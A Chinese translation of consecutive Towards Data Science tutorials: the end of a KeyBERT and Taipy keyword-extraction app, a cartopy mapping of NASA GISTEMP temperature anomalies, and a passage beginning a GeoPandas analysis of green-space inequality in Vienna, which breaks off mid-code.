接下来,我们编写一个函数,将摘要文本和相应的元数据存储在 pandas DataFrame 中。
(3.2) 处理数据
对于数据处理步骤,我们有以下函数来将摘要发布日期解析为适当的格式,同时创建新的空列以存储关键词。
(3.3) 运行 KeyBERT
接下来,我们创建一个函数来运行 KeyBERT 库中的 KeyBert
类。KeyBert
类是使用 BERT 进行关键词提取的最*方法,是我们入门的最简单方法。
生成 BERT 嵌入的方法有很多种(例如,Flair,Huggingface Transformers和 spaCy)。在这种情况下,我们将使用 sentence-transformers ,这是 KeyBERT 创建者推荐的。
特别是,我们将使用默认的[all-MiniLM-L6-v2](https://huggingface.co/sentence-transformers/all-MiniLM-L6-v2)
模型,因为它在速度和质量之间提供了很好的平衡。
以下函数从每个摘要中迭代提取关键词,并将其保存到前一步创建的新 DataFrame 列中。
(3.4) 获取关键词值计数
最后,我们创建一个函数生成关键词的值计数,以便稍后我们可以在图表中绘制关键词频率。
步骤 4 — 设置 Taipy Core:后台配置
为了协调和连接后台管道流程,我们将利用 Taipy Core 的功能。
Taipy Core 提供了一个开源框架,便于创建、管理和高效执行我们的数据管道。它有四个基本概念:数据节点、任务、管道和场景。
Taipy Core 的四个基本概念 | 图片来自作者
为了设置后台,我们将使用配置对象(来自Config
类)来建模和定义上述概念的特征和期望行为。
(4.1) 数据节点
与大多数数据科学项目一样,我们从处理数据开始。在 Taipy Core 中,我们使用数据节点来定义我们将处理的数据。
我们可以将数据节点视为 Taipy 对数据变量的表示。然而,数据节点不是直接存储数据,而是包含了一组如何检索所需数据的指令。
数据节点可以读取和写入各种数据类型,例如 Python 对象(如str
、int
、list
、dict
、DataFrame
等)、Pickle 文件、CSV 文件、SQL 数据库等。
使用 Config.configure_data_node()
函数,我们根据 步骤 2 中配置文件的值定义关键词参数的数据节点。
id
参数设置数据节点的名称,而 default_data
参数定义默认值。
接下来,我们将配置对象包含到管道的五组数据中,如下所示:
五个数据节点沿管道的示意图 | 图片来自作者
以下代码定义了五个配置对象:
(4.2) 任务
Taipy 中的任务可以被视为 Python 函数。我们可以使用 Config.configure_task()
定义任务的配置对象。
我们需要设置五个任务配置对象,分别对应 步骤 3 中构建的五个功能。
五个任务的示意图 | 作者提供的图片
input
和 output
参数分别指输入和输出数据节点。
例如,在 task_process_data_cfg
中,输入是包含 arXiv 搜索结果的原始 pandas DataFrame 的数据节点,而输出是存储处理后数据的 DataFrame 的数据节点。
skippable
参数设置为 True 时,表示如果输入没有更改,则可以跳过该任务。
下面是我们迄今为止定义的数据节点和任务的流程图:
数据节点和任务流程图 | 作者提供的图片
(4.3) 管道
管道是由 Taipy 自动执行的一系列任务。它是一个配置对象,由一系列任务配置对象组成。
在这种情况下,我们将五个任务分配到两个管道中(一个用于数据准备,一个用于关键字分析),如下所示:
两个管道中的任务 | 作者提供的图片
我们使用以下代码来定义两个管道配置:
与所有配置对象一样,我们使用 id
参数为这些管道配置分配名称。
(4.4) 场景
在这个项目中,我们的目标是创建一个应用程序,反映基于输入参数(例如 N-gram 长度)变化的更新关键字集合(及其相应分析)。
为了实现这一目标,我们利用了强大的场景概念。Taipy 场景提供了一个框架,用于在不同条件下运行管道,例如用户修改输入参数或数据时。
场景还允许我们保存来自不同输入的输出,以便在同一应用程序界面中进行轻松比较。
由于我们预计要对管道进行直接的顺序运行,我们可以将两个管道配置放入一个场景配置对象中。
第 5 步 — 设置 Taipy GUI(前端)
现在让我们转变思路,探索应用程序的前端方面。Taipy GUI 提供了 Python 类,使得创建具有文本和图形元素的强大 Web 应用程序界面变得容易。
页面是用户界面的基础,它们包含文本、图像或控件,通过视觉元素在应用程序中显示信息。
需要创建两个页面:(i) 关键字分析仪表板页面和 (ii) 数据查看器页面,以显示关键字 DataFrame。
(5.1) 数据查看器
Taipy GUI 可以被视为增强版的 Markdown,这意味着我们可以使用 Markdown 语法来构建我们的前端界面。
我们从简单的前端页面开始,显示提取的 arXiv 摘要数据的 DataFrame。该页面设置在一个 Python 脚本(名为data_viewer_md.py
)中,并将 Markdown 存储在一个名为data_page
的变量中。
在 Markdown 中创建 Taipy 构造的基本语法是使用文本片段,其通用格式为<|...|...|>
。
在上述 Markdown 中,我们传递了我们的 DataFrame 对象df
和table
,后者表示一个表格元素。仅这些几行代码,我们就可以获得如下输出:
数据查看器页面的截图 | 作者提供的图片
(5.2) 关键词分析仪表板
现在我们转到应用程序的主要仪表板页面,在那里我们可以更改参数并可视化获得的关键词。可视化元素将包含在一个 Python 脚本(名为analysis_md.py
)中
此页面包含多个组件,所以让我们一步步来。首先,在应用程序加载时,我们实例化参数值。
接下来,我们定义页面的输入部分,用户可以在其中更改参数和场景。此部分将保存到一个名为input_page
的变量中,最终将如下所示:
关键词分析页面的输入部分 | 作者提供的图片
我们在 Markdown 中创建一个七列布局,以便将输入字段(例如文本输入、数字输入、下拉菜单选择器)和按钮整齐地组织起来。
我们将解释
on_change
和on_action
参数中元素的回调函数,因此现在无需担心这些内容。
之后,我们定义输出部分,其中将显示基于输入参数的关键词频率表和图表。
关键词分析页面的输出部分 | 作者提供的图片
除了指定输出部分的 Markdown 外,我们还将定义图表属性,将其存储在output_page
变量中。
在上述最后一行中,我们将输入和输出部分合并为一个名为analysis_page
的变量。
(5.3) 主着陆页面
在我们的前端界面完成之前,还有最后一部分。现在我们已经准备好两个页面,我们将在主着陆页面上显示它们。
主页面在main.py
中定义,这是应用程序启动时运行的脚本。目标是创建一个功能菜单栏,供用户在页面之间切换。
从上述代码中,我们可以看到 Taipy 的状态功能正在运行,其中页面根据会话状态中选择的页面进行渲染。
步骤 6——使用场景连接后端和前端
此时,我们的前端界面和后端管道已成功设置。然而,我们还需要将它们链接在一起。
更具体地说,我们需要创建 场景 组件,以便管道中处理输入参数的变化,并将输出反映在仪表板中。
场景的附加好处是每个输入输出集都可以被保存,以便用户可以重新查看这些先前的配置。
我们将定义四个函数来设置场景组件,这些函数将存储在 analysis_md.py
脚本中:
(6.1) 更新图表
这个函数根据存储在会话状态中的所选场景的输入参数更新关键词数据框、频率统计表和相应的条形图。
(6.2) 提交场景
这个函数将用户修改后的输入参数集注册为场景,并将这些值通过管道传递。
(6.3) 创建场景
这个函数保存一个已执行的场景,以便它可以轻松地从创建的场景下拉菜单中重新创建和引用。
(6.4) 同步 GUI 和 Core
这个函数从保存的场景下拉菜单中选择的场景中检索输入参数,并在前端 GUI 中显示结果输出。
第 7 步—— 启动应用程序
在最后一步,我们通过完成 main.py
中的代码来结束,以确保 Taipy 启动并在脚本执行时正确运行。
上述代码完成了以下步骤:
-
实例化 Taipy Core
-
设置场景创建和执行
-
检索关键词数据框和频率统计表
-
启动 Taipy GUI(带有指定页面)
最后,我们可以在命令行中运行 python main.py
,我们构建的应用程序将可以在 localhost:8020
上访问。
完成应用程序的前端界面 | 图片来源:作者
(4) 总结
与文档相关的关键词提供了该文档主题的简明而全面的指示,突出了其中包含的最重要的主题、概念、观点或论点。
在本文中,我们探讨了如何使用 KeyBERT 和 Taipy 提取和分析 arXiv 摘要中的关键词。我们还发现了如何将这些功能作为一个包含前端用户界面和后端管道的 web 应用程序进行交付。
随意查看附带的 GitHub 仓库 中的代码。
在你离开之前
我欢迎你 加入我的数据科学发现之旅! 关注这个 Medium 页面,并访问我的 GitHub,以获取更多引人入胜和实用的内容。与此同时,祝你使用 KeyBERT 和 Taipy 构建关键词提取和分析管道时玩得开心!
一次关于臭名昭著的机器学习失误和失败的巡礼,这些失误和失败引起了世界的关注
towardsdatascience.com [## 如何使用 LLM 代理抓取*基百科
使用 LangChain 代理和工具与 OpenAI 的 LLM 及函数调用进行*基百科网页抓取的简单指南
medium.datadriveninvestor.com](https://medium.datadriveninvestor.com/how-to-web-scrape-wikipedia-using-llm-agents-f0dba8400692?source=post_page-----2972e81d9fa4--------------------------------)
使用 NASA 的太空研究评估全球温度异常 - 第二部分
使用 cartopy
、matplotlib
和 Python 中的 netCDF
数据绘制从 NASA 的 GISSTEMP 获得的全球地表温度异常数据。
·
关注 发布于 Towards Data Science ·10 min read·2023 年 6 月 5 日
--
在本文撰写时(2023 年 5 月),全球 CO2 排放浓度为 425 ppm。这一浓度水平是 1400 万年来的最高点,预计在未来几年还会继续上升(The World Counts,2023)。显而易见,人为温室气体(GHG)排放是全球变暖的主要驱动因素。在本系列的第一部分,我讨论了全球地表温度异常、相关科学及其不确定性,基于 NASA 戈达德太空研究所提供的过去 142 年(自 1880 年以来)的数据(GISSTEMP)。
## 使用 NASA 的太空研究评估全球温度异常 — 第 I 部分
探索历史全球温度异常背后的基础数据、不确定性和科学原理
towardsdatascience.com
最近,世界气象组织(WMO)发布的一份报告称,相对于 1850–1900 年,全球近地表温度预计在未来五年内上升 1.1°C 至 1.8°C(WMO,2023)。报告进一步指出,有 98%的可能性未来五年中某一年将成为有记录以来最热的一年,并且有可能其中一年会暂时超过 1.5°C 的阈值。
从全球来看,2022 年是有记录以来第五暖的年份(WMO,2023)。气候相关灾害继续成为 2022 年的新闻头条,包括巴基斯坦的灾难性洪水、佛罗里达州的飓风、欧洲的热浪、中国、欧洲和美国河流的干旱及创纪录的水位下降,以及格陵兰岛的冰盖融化创纪录。
在本系列的这一部分,我将关注 2022 年的全球地表温度异常,使用 NASA 的GISSTEMP数据。在这篇文章的第一部分,我将创建显示 2023 年 4 月相对于 1951–1980 年均值的全球地表温度异常的地图,涵盖不同的投影方式。在第二部分,我将绘制显示 2022 年不同季节的全球地表温度异常的地图。我将使用 Python 中的 matplotlib、cartopy 和 netcdf4 包来实现这一目的。让我们开始吧。
从太空看到的海洋云层。照片由NASA提供,发布在Unsplash
A. 2023 年 4 月的全球地表温度异常,相对于 1951-1980 年的平均值
数据
相对于基准期的历史时间范围内的全球地表温度异常数据是开放访问的,并从 NASA 的 GISS 表面温度分析网站下载(GISTEMP 团队,2023 年和 Lenssen 等人,2019 年)。我选择了 4 月作为平均期,2023 年的开始到结束作为时间段,1951 年开始到 1980 年结束作为基准期。1200 公里的平滑半径指的是一个站点对区域温度的影响距离。
NASA 的 GISSTEMP 网站上的数据门户。数据来源于 GISTEMP 团队,2023 年和 Lenssen 等人,2019 年。图片由作者提供。
我下载了网格数据作为netCDF(.nc)文件。netCDF 代表网络公共数据格式,是一种包含一组用于数组导向的机器无关数据访问的接口的文件格式(国家雪冰数据中心,2023 年)。netCDF 文件中的数据使用 netCDF4 包的 Dataset 模块在 Python 中读取,如下所示:
使用 netCDF4 包的 Dataset 模块读取 netCDF 文件。图片由作者提供。
给定的数据变量包含经度(lon)、纬度(lat)和温度异常(TEMPANOMALY)数据。这些数据属于 numpy 掩码数组类型,这意味着数据可能包含一些缺失或无效的条目。在这里,temp_anomaly
数据可能在每个坐标点上并不总是可用。
访问不同的数据点以获取经度、纬度和温度异常。图片由作者提供。
2. 使用 Cartopy 绘图
安装 Cartopy 包的指南
要安装 cartopy 包,首先需要安装它的依赖项shapely和pyproj。shapely 和 pyproj 包的兼容 wheel 文件可以根据Python 版本和Windows 版本在这里获取。安装这些包后,我成功地通过pip install cartopy
安装了 cartopy 包。
用于在不同投影下绘制数据的函数
以下函数使用projection
和projection_name
作为参数,这些参数决定了我们想要显示的地图投影类型及其标题。
在下面的函数temp_anomaly_plot()
中,首先向图中添加一个具有特定投影的坐标轴。地图被设置为覆盖全球范围。clevs
定义了我们想要在地图上投影的数据(温度异常)的范围。在这里,我将这个范围定义为-5°C 到 6°C。cmap
指的是颜色图。在这里,我选择了 coolwarm 颜色图,其中蓝色反映寒冷端,红色反映温暖端。
该函数使用lons
和lats
作为坐标,temp_anomaly
作为数据绘制填充轮廓。默认情况下,Cartopy 假设坐标与结果图的投影匹配。因此,安全的选项是提供transform关键字,以便 Cartopy 理解坐标指的是特定的原始投影(此处为 ccrs.PlateCarree())并需要将其转换为新的projection
类型。最后,在地图下方添加了一个水平颜色条。
def temp_anomaly_plot(projection, projection_name):
fig = plt.figure(figsize = (12, 6))
#Add an axes to the current figure and make it the current axes.
ax = plt.axes(projection = projection)
#make the map global rather than having it zoom in to extent of the plotted data
ax.set_global()
ax.gridlines(linestyle = "--", color = "black")
#Set contour levels, then draw the plot and a colorbar
clevs = np.arange(-5, 6)
cmap = "coolwarm"
#Plot filled contours
plt.contourf(lons, lats,
temp_anomaly,
clevs,
transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both" #To add arrows on both ends of the colorbar
)
#Add coastlines after filling contours
ax.coastlines(resolution = "110m", lw = 1)
plt.title(f"April 2023 L-OTI (°C) vs 1951-1980 mean\n Projection: {projection_name}")
cb = plt.colorbar(ax = ax,
orientation = "horizontal",
pad = 0.02,
aspect = 20, #ratio of long to short dimension
shrink = 0.5, #Fraction by which to multiply the size of the colorbar
ticks = clevs #To get the ticks same as clevs -5 to 5 degree Celsius in colorbar
)
cb.set_label("°C", size = 12, rotation = 0, labelpad = 15)
cb.ax.tick_params(labelsize = 10)
plt.savefig(f"../output/temp_anomaly_{projection_name}.jpeg",
dpi = 300)
plt.show()
3. 投影
地图投影永远无法完全准确地表示球形地球。地图投影试图将地球表面或其一部分从球形(3D)转换为平面形状(2D)。由于地图投影过程的原因,每张地图都会显示角度符合性、距离和面积的失真(QGIS 文档,2023)。在 Python 中,地理空间数据可以使用 Cartopy 包以各种投影绘制。
使用上节定义的temp_anomaly_plot
函数,我在全球地图上以三种不同的投影绘制了全球表面温度异常:
PlateCarree 投影
PlateCarree 投影是一种等距圆柱投影,其标准纬线位于赤道。
Cartopy 包的 Platecarree 投影(顶部),以及 2023 年 4 月相对于 1951 至 1980 年平均值的表面温度异常地图的 Platecarree 投影(底部)。作者插图。
罗宾逊投影
罗宾逊投影是世界地图中最常用的伪圆柱投影之一。这是一种折衷方案,其中地图上的面积、角度符合性和距离的失真是可以接受的(QGIS 文档,2023)。
Cartopy 包的罗宾逊投影(顶部),以及 2023 年 4 月相对于 1951 至 1980 年平均值的表面温度异常地图的罗宾逊投影(底部)。作者插图。
正射投影
正射投影是一种方位投影投影,将地球表面从无限距离投影到平面。在这种投影中,需要指定要在平面中心查看的central_longitude
和central_latitude
。因此,在这种投影中,全球的所有位置无法一次全部可见。
Cartopy 包的正射投影(上),以及 2023 年 4 月的地表温度异常相对于 1951 年至 1980 年平均的正射投影地图(下)。插图作者提供。
B. 全球地表温度异常按季节分布
在这一部分,我打算绘制 2022 年不同季节的全球地表温度异常。数据来源于同一个 NASA GISSTEMP 网站。不过,在这种情况下,我选择了四个气象季节(冬季、春季、夏季和秋季)作为平均期,并下载了相应的网格数据作为 netCDF 文件。为了获取 2022 年整个日历年的数据,我选择了时间间隔,即 2022 年开始和结束之间的时间。
接下来,我创建了一个get_data
函数,从相应的 netCDF 文件中提取四季的经度、纬度、温度异常和平均温度异常数据,如下所示:
从 netCDF 文件中提取四季的经度、纬度、温度异常和平均温度异常数据的函数。图像作者提供。
我打算将四季的温度异常绘制成单个图中的四个子图。下面的代码片段中已相应编写了代码。我还为整个图添加了一个公共的图例色条。
clevs = np.arange(-5, 6)
cmap = “coolwarm”
projection = ccrs.PlateCarree()
# Use subplot_kw to declare the projection
fig, axs = plt.subplots(2, 2, figsize = (24, 7), subplot_kw = {"projection": projection},
#gridspec_kw = {'wspace':0.01, 'hspace':0.3}
)
plt.subplots_adjust(left = 0.2, right = 0.8, top = 0.9, bottom = -0.25)
fig.suptitle(title, x = 0.5, y = 1, fontsize = 20, fontweight = "bold")
cf1 = axs[0, 0].contourf(winter_lons, winter_lats,
winter_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both"
)
axs[0, 0].set_title(f'Winter 2022: +{winter_temp_anomaly_mean} °C', fontsize = 20)
axs[0, 0].coastlines()
axs[0, 0].gridlines(draw_labels=True)
axs[0, 0].set_aspect('equal', adjustable=None)
cf2 = axs[0, 1].contourf(spring_lons, spring_lats,
spring_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both"
)
axs[0, 1].set_title(f'Spring 2022: +{spring_temp_anomaly_mean} °C', fontsize = 20)
axs[0, 1].coastlines()
axs[0, 1].gridlines(draw_labels=True)
axs[0, 1].set_aspect('equal', adjustable=None)
cf3 = axs[1, 0].contourf(summer_lons, summer_lats,
summer_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both"
)
axs[1, 0].set_title(f'Summer 2022: +{summer_temp_anomaly_mean} °C', fontsize = 20)
axs[1, 0].coastlines()
axs[1, 0].gridlines(draw_labels=True)
axs[1, 0].set_aspect('equal', adjustable=None)
cf4 = axs[1, 1].contourf(autumn_lons, autumn_lats,
autumn_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
#To add arrows in the colorbar
extend = "both"
)
cax = fig.add_axes([0.25, -0.35, 0.5, 0.025]) #[left, bottom, width, height]
lgd = fig.colorbar(cf4,
orientation = "horizontal",
ticks = clevs,
cax = cax,
label = "°C"
).set_label("°C", rotation = 0)
axs[1, 1].set_title(f'Autumn 2022: +{autumn_temp_anomaly_mean} °C', fontsize = 20)
axs[1, 1].coastlines()
axs[1, 1].gridlines(draw_labels=True)
axs[1, 1].set_aspect('equal', adjustable=None)
plt.savefig("../output/temperature_anomalies_by_seasons.jpeg",
bbox_inches = "tight",
dpi = 300)
plt.show()
结果图如下所示:
2022 年四个气象季节的全球地表温度异常,相对于 1951 年至 1980 年均值作为基准期。数据基于 GISTEMP 团队,2023 年及 Lenssen 等,2019 年。插图作者提供。
关键要点
从这次分析中得到的一些关键点如下:
-
2022 年是拉*娜年,这通常对全球温度有冷却作用。尽管如此,2022 年的全球平均地表温度异常相对于 1951–80 年均值为 1.2°C。2022 年是有记录以来最温暖的拉*娜年,这突显了全球变暖的极端性(CNN, 2023)。
-
地表温度异常在全球不同地区并不均匀。如前文帖子所讨论,全球地表温度异常在陆地上的值远高于海洋。一项研究指出,近年来陆地的温度上升速度大约是海洋的两倍。
-
与历史 1951–80 年基期相比,2022 年的不同季节中有些海洋区域稍微凉爽。这些区域在地图上以蓝色表示。例如,南美洲左侧的部分太平洋和格林兰岛下方的一些区域。然而,这并未描绘完整的图景,因为大多数地方已经变暖,这在地图上以红色表示。
-
与世界其他地区相比,北极地区近年来变暖程度更高。这主要归因于海冰和雪盖的融化,导致反射减少和太阳辐射吸收增加(PBS 新闻时间,2022)。在 2022 年,北极的温度异常在冬季比其他月份更为突出。
-
上述 B 部分显示了 2022 年全球表面温度异常在不同季节之间的差异。夏季观察到的温度异常最高(1.15°C),其次是春季(1.14°C)、冬季(1.08°C)和秋季(1.02°C)。这与近年来夏季变得更暖和并且相较于其他季节更为难以忍受有关。
结论
在这篇文章中,首先,我绘制了相对于 1951–80 年均值的 2023 年 4 月全球表面温度异常数据,使用了从 NASA 的GISSTEMP获取的 netCDF 文件。我展示了使用 Cartopy 包在不同投影下绘制地图的方法。接下来,我将 2022 年四个气象季节的表面温度异常数据绘制为一个图中的四个子图。通过这些地图图示,我提取了近年来全球不同地区和不同季节的表面温度异常的主要信息。
Xarray 是 Python 中另一个有用的包,可用于处理 netCDF 或其他文件格式的地理空间数据。例如,Lubomir Franko和 Giannis Tolios 的文章展示了如何使用 xarray、cartopy 和 matplotlib 绘制欧洲的表面温度异常数据。使用 xarray 处理空间数据的可能性可以作为另一个话题进行讨论。
本文和本系列之前的文章中使用的笔记本和数据可以在这个 GitHub仓库中找到。感谢您的阅读!
参考文献
CNN, 2023. 2022 年是有记录以来最暖的拉*娜年。科学家们表示今年将更暖 | CNN
GISTEMP 团队,2023 年:GISS 地表温度分析(GISTEMP),版本 4。NASA 戈达德太空研究所。数据集访问日期:2023 年 5 月 31 日,网址为 data.giss.nasa.gov/gistemp/。
Lenssen, N., G. Schmidt, J. Hansen, M. Menne, A. Persin, R. Ruedy, 和 D. Zyss, 2019 年:GISTEMP 不确定性模型的改进。J. Geophys. Res. Atmos., 124,第 12 期,6307–6326,doi:10.1029/2018JD029522。
国家雪冰数据中心——推进对地球冰冻区域的认识,2023 年。[什么是 netCDF? | 国家雪冰数据中心 (nsidc.org)](https://nsidc.org/data/user-resources/help-center/what-netcdf#:~:text=NetCDF (network Common Data Form,format for representing scientific data.)
PBS 新闻时间,2022 年。北极变暖的速度几乎是全球其他地区的四倍 | PBS 新闻时间
QGIS 文档,2023 年。8. 坐标参考系统 — QGIS 文档
The World Counts,2023 年。全球变暖与二氧化碳浓度(theworldcounts.com)
世界气象组织(WMO),2023 年。全球年度至十年气候更新 | 世界气象组织 (wmo.int)
使用*也纳开放数据门户评估城市绿地平等性
原文:
towardsdatascience.com/assessing-urban-geen-inequality-using-viennas-open-data-portal-aa628e0237ad
图片来源 CHUTTERSNAP 于 Unsplash
尽管有许多优势,但在高度城市化的地区,接触自然和绿地变得越来越困难。一些人担心,服务不足的社区可能更容易面临这些问题。在这里,我提出了一种数据驱动的方法来探索这一问题。
·发表于 Towards Data Science ·11 min read·2023 年 9 月 11 日
--
我提出了一个近年来在专业圈子和地方政府中引起兴趣的城市发展问题——现在关注的是绿地平等性。这个概念指的是在特定城市不同区域内人们获取绿地的差异。在这里,我探索其财政*度,并观察每人绿地面积与该城市单位的经济水平之间是否存在明显的关系。
我将探索城市的两种不同空间分辨率——区划和人口普查区,使用奥地利政府开放数据门户提供的 Esri Shapefiles。我还会将表格统计数据(人口和收入)纳入地理参考的行政区域。接着,我会将这些行政区域与官方绿地数据集叠加,记录每个绿地的位置,并以地理空间格式呈现。然后,我将这些信息结合起来,并量化每个城市区的每人绿地总量。最后,我将每个区域的财政状况(通过年净收入捕捉)与每人绿地比例相关联,以查看是否出现任何模式。
1. 数据来源
我们可以在奥地利政府的开放数据门户 这里 查看。
当我写这篇文章时,网站的英文翻译没有真正起作用,因此我没有依赖我早已遗忘的 12 年德语课程,而是使用了 DeepL 来浏览子页面和数千个数据集。
然后,我收集了几个数据文件,包括地理参考(Esri shapefiles)和简单的表格数据,这些数据将用于后续分析。我收集的数据:
边界 — *也纳以下空间单位的行政边界:
土地使用 — 绿色空间和建成区域的位置信息:
- 绿色带*也纳城市 视觉化现有和专用的绿色带区域,由 1539 个地理空间多边形文件组成,这些文件包围了绿色空间。
统计数据 — 关于人口和收入的数据,反映了区域的社会经济水平:
-
每个区的人口,自 2002 年起每年记录,并按 5 岁年龄组、性别和原籍国分开存储。
-
每个普查区的人口,自 2008 年起每年记录,并按三个不规则年龄组、性别和来源分开存储。
-
平均净收入 自 2002 年以来,*也纳各区的每名员工每年以欧元表示。
此外,我将下载的数据文件存储在名为 data 的本地文件夹中。
2. 基本数据探索
2.1 行政边界
首先,读取和可视化包含每个行政边界级别的不同形状文件,以更详细地了解城市:
folder = 'data'
admin_city = gpd.read_file(folder + '/LANDESGRENZEOGD')
admin_district = gpd.read_file(folder + '/BEZIRKSGRENZEOGD')
admin_census = gpd.read_file(folder + '/ZAEHLBEZIRKOGD')
display(admin_city.head(1))
display(admin_district.head(1))
display(admin_census.head(1))
在此我们注意到列名 BEZNR 和 ZBEZ 分别对应于区 ID 和普查区 ID。出乎意料的是,它们以不同的格式存储/解析,分别为 numpy.float64 和 str:
print(type(admin_district.BEZNR.iloc[0]))
print(type(admin_census.ZBEZ.iloc[0]))pyth
确保我们确实有 23 个区和 250 个普查区,如数据文件文档所声称:
print(len(set(admin_district.BEZNR)))
print(len(set(admin_census.ZBEZ)))
现在可视化边界 — 首先是城市,然后是其区,再然后是更*的普查区。
f, ax = plt.subplots(1,3,figsize=(15,5))
admin_city.plot(ax=ax[0],
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Reds')
admin_district.plot(ax=ax[1],
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Blues')
admin_census.plot(ax=ax[2],
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Purples')
ax[0].set_title('City boundaries')
ax[1].set_title('District boundaries')
ax[2].set_title('Census distrcit boundaries')
这段代码输出*也纳的以下视觉效果:
*也纳的不同行政级别。图像由作者提供。
2.2 绿色区域
现在,也查看一下绿色空间的分布:
gdf_green = gpd.read_file(folder + '/GRUENFREIFLOGD_GRUENGEWOGD')
display(gdf_green.head(3))
在这里,人们可能会注意到没有直接将绿地(例如,没有添加区 ID)与社区链接的方法——因此稍后我们将通过操作几何形状找到重叠区域来做到这一点。
现在可视化这个:
f, ax = plt.subplots(1,1,figsize=(7,5))
gdf_green.plot(ax=ax,
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Greens')
ax.set_title('Green areas in Vienna')
这段代码展示了*也纳的绿地所在的位置:
*也纳的官方绿带。图片由作者提供。
我们可以注意到,林业区域仍然在行政边界内,这意味着并不是城市的每个部分都是城市化和人口密集的。稍后,当我们评估人均绿地面积时,我们会回到这一点。
2.3 统计数据——人口、收入
最后,让我们看看统计数据文件。第一个主要区别是这些文件没有地理参考,只是简单的 csv 表格:
df_pop_distr = pd.read_csv('vie-bez-pop-sex-age5-stk-ori-geo4-2002f.csv',
sep = ';',
encoding='unicode_escape',
skiprows = 1)
df_pop_cens = pd.read_csv('vie-zbz-pop-sex-agr3-stk-ori-geo2-2008f.csv',
sep = ';',
encoding='unicode_escape',
skiprows = 1)
df_inc_distr = pd.read_csv('vie-bez-biz-ecn-inc-sex-2002f.csv',
sep = ';',
encoding='unicode_escape',
skiprows = 1)
display(df_pop_distr.head(1))
display(df_pop_cens.head(1))
display(df_inc_distr.head(1))
3. 数据预处理
3.1. 准备统计数据文件
前一*节显示统计数据表使用了不同的命名约定——它们使用 DISTRICT_CODE 和 SUB_DISTRICT_CODE 标识符,而不是像 BEZNR 和 ZBEZ 这样的东西。然而,在阅读每个数据集的文档后,很明显可以很容易地进行转换,接下来我在下一个单元中提供了两个简短的函数。我将同时处理区和普查区级别的数据。
此外,我只对统计信息的(最新)汇总值和数据点感兴趣,比如最新快照中的总人口。因此,让我们清理这些数据文件,保留我稍后会用到的列。
# these functions convert the district and census district ids to be compatbile with the ones found in the shapefiles
def transform_district_id(x):
return int(str(x)[1:3])
def transform_census_district_id(x):
return int(str(x)[1:5])
# select the latest year of the data set
df_pop_distr_2 = df_pop_distr[df_pop_distr.REF_YEAR \
==max(df_pop_distr.REF_YEAR)]
df_pop_cens_2 = df_pop_cens[df_pop_cens.REF_YEAR \
==max(df_pop_cens.REF_YEAR)]
df_inc_distr_2 = df_inc_distr[df_inc_distr.REF_YEAR \
==max(df_inc_distr.REF_YEAR)]
# convert district ids
df_pop_distr_2['district_id'] = \
df_pop_distr_2.DISTRICT_CODE.apply(transform_district_id)
df_pop_cens_2['census_district_id'] = \
df_pop_cens_2.SUB_DISTRICT_CODE.apply(transform_census_district_id)
df_inc_distr_2['district_id'] = \
df_inc_distr_2.DISTRICT_CODE.apply(transform_district_id)
# aggregate population values
df_pop_distr_2 = df_pop_distr_2.groupby(by = 'district_id').sum()
df_pop_distr_2['district_population'] = df_pop_distr_2.AUT + \
df_pop_distr_2.EEA + df_pop_distr_2.REU + df_pop_distr_2.TCN
df_pop_distr_2 = df_pop_distr_2[['district_population']]
df_pop_cens_2 = df_pop_cens_2.groupby(by = 'census_district_id').sum()
df_pop_cens_2['census_district_population'] = df_pop_cens_2.AUT \
+ df_pop_cens_2.FOR
df_pop_cens_2 = df_pop_cens_2[['census_district_population']]
df_inc_distr_2['district_average_income'] = \
1000*df_inc_distr_2[['INC_TOT_VALUE']]
df_inc_distr_2 = \
df_inc_distr_2.set_index('district_id')[['district_average_income']]
# display the finalized tables
display(df_pop_distr_2.head(3))
display(df_pop_cens_2.head(3))
display(df_inc_distr_2.head(3))
# and unifying the naming conventions
admin_district['district_id'] = admin_district.BEZNR.astype(int)
admin_census['census_district_id'] = admin_census.ZBEZ.astype(int)
print(len(set(admin_census.ZBEZ)))
双重检查两个聚合层次的计算总人口值:
print(sum(df_pop_distr_2.district_population))
print(sum(df_pop_cens_2.census_district_population))
这两个应该都提供相同的结果——1931593 人。
3.1. 准备地理空间数据文件
现在我们完成了统计文件的基本数据准备,是时候将绿地多边形与行政区域多边形匹配了。接下来,让我们计算每个行政区域的总绿地覆盖面积。此外,我还会出于好奇添加每个行政区域的相对绿地覆盖面积。
要获得以 SI 单位表示的面积,我们需要切换到所谓的本地 CRS,在*也纳的情况下是 EPSG:31282。你可以在这里和这里更多地了解这个话题、地图投影和坐标参考系统。
# converting all GeoDataFrames into the loca crs
admin_district_2 = \
admin_district[['district_id', 'geometry']].to_crs(31282)
admin_census_2 = \
admin_census[['census_district_id', 'geometry']].to_crs(31282)
gdf_green_2 = gdf_green.to_crs(31282)
计算以 SI 单位测量的行政单元面积:
admin_district_2['admin_area'] = \
admin_district_2.geometry.apply(lambda g: g.area)
admin_census_2['admin_area'] = \
admin_census_2.geometry.apply(lambda g: g.area)
display(admin_district_2.head(1))
display(admin_census_2.head(1))
4. 计算人均绿地面积比率
4.1 计算每个行政单元的绿地覆盖率
我将使用 GeoPandas 的叠加函数将这两个行政边界 GeoDataFrame 与包含绿色区域多边形的 GeoDataFrame 叠加在一起。然后,我计算每个绿色区域部分落入不同行政区域的面积。接下来,我将这些面积汇总到每个行政区域,包括区级和普查区级。最后,在每个分辨率单元中,我添加之前计算的行政官方单元面积,并计算每个区和普查区的绿色面积比率。
gdf_green_mapped_distr = gpd.overlay(gdf_green_2, admin_district_2)
gdf_green_mapped_distr['green_area'] = \
gdf_green_mapped_distr.geometry.apply(lambda g: g.area)
gdf_green_mapped_distr = \
gdf_green_mapped_distr.groupby(by = 'district_id').sum()[['green_area']]
gdf_green_mapped_distr = \
gpd.GeoDataFrame(admin_district_2.merge(gdf_green_mapped_distr, left_on = 'district_id', right_index = True))
gdf_green_mapped_distr['green_ratio'] = \
gdf_green_mapped_distr.green_area / gdf_green_mapped_distr.admin_area
